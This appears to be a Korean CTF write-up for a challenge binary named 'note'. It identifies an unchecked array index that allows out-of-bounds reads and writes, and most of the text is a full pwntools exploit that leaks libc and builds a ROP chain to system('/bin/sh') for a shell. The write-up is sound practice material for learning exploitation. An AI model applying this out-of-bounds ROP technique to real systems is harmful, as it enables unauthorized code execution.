


C코드이다. main 함수 내부에는 note라는 2차원 배열(100 x 8)이 선언되어 있고, name에 입력을 받은 후 while 내부에서 input_note, print_note를 반복할 수 있다.
input_note는 idx를 입력받아 2차원 배열 note의 특정 idx에 8만큼 입력할 수 있으며,
print_note는 idx를 입력받아 2차원 배열 note의 특정 idx의 문자열을 출력할 수 있다.
예상할 수 있는 취약점으로는, input_note와 print_note의 idx를 입력받는 부분에 크기 제한이 없기에, note가 차지하는 부분 이상 혹은 이하의 내용까지 leak하고 덮어쓸 수 있을 것 같다!

p.작성해본 expliot 과정이다. 처음에 main의 ret만 leak 하고, 순서대로 pop rdi; ret 가젯, /bin/sh의 실제 주소, ret 가젯, system 함수 실제 주소만 덮어쓰면 된다!
exploit 코드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
p = process('./note')
e = ELF('./note')
libc_start_call_main_offset=0x29d10
system_offset=0x50d60
binsh_offset=0x1d8698
p_rdi=0x4014c3
ret=0x40101a
p.sendlineafter(b'name??n> ',b'JIN')
############################################################################################################
################################################ 1st Round #################################################
############################################################################################################
#-> leak __libc_start_call_main + 128
#menu
p.recvuntil(b'=====n> ')
p.sendline(str(2).encode())
#print_note
p.recvuntil(b"idx : ")
pause()
p.sendline(str(101).encode())
leak = u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - libc_start_call_main_offset -128
log.info('libc_base - '+hex(libc_base))
system=libc_base+system_offset
binsh=libc_base+binsh_offset
############################################################################################################
################################################ 2nd Round #################################################
############################################################################################################
#menu
p.recvuntil(b'=====n> ')
p.sendline(str(1).encode())
#input_note
p.recvuntil(b"idx : ")
pause()
p.sendline(str(101).encode())
p.recvuntil(b"input : ")
p.sendline(p64(p_rdi))
############################################################################################################
################################################ 3rd Round #################################################
############################################################################################################
#menu
p.recvuntil(b'=====n> ')
p.sendline(str(1).encode())
#input_note
p.recvuntil(b"idx : ")
pause()
p.sendline(str(102).encode())
p.recvuntil(b"input : ")
p.sendline(p64(binsh))
############################################################################################################
################################################ 4th Round #################################################
############################################################################################################
#menu
p.recvuntil(b'=====n> ')
p.sendline(str(1).encode())
#input_note
p.recvuntil(b"idx : ")
pause()
p.sendline(str(103).encode())
p.recvuntil(b"input : ")
p.sendline(p64(ret))
############################################################################################################
################################################ 5th Round #################################################
############################################################################################################
#menu
p.recvuntil(b'=====n> ')
p.sendline(str(1).encode())
#input_note
p.recvuntil(b"idx : ")
pause()
p.sendline(str(104).encode())
p.recvuntil(b"input : ")
p.sendline(p64(system))
############################################################################################################
################################################ 6th Round #################################################
############################################################################################################
#menu
p.recvuntil(b'=====n> ')
p.sendline(str(3).encode())
p.interactive()

쉘을 따냈다! 사실 helpme를 먼저 풀었는데, note는 생각보다 쉬워서 당황했다 ㅎㅎ..
2차원 배열과 더블 포인터의 개념만 정확히 알고 있다면 쉽게 풀 수 있는 문제라고 생각한다!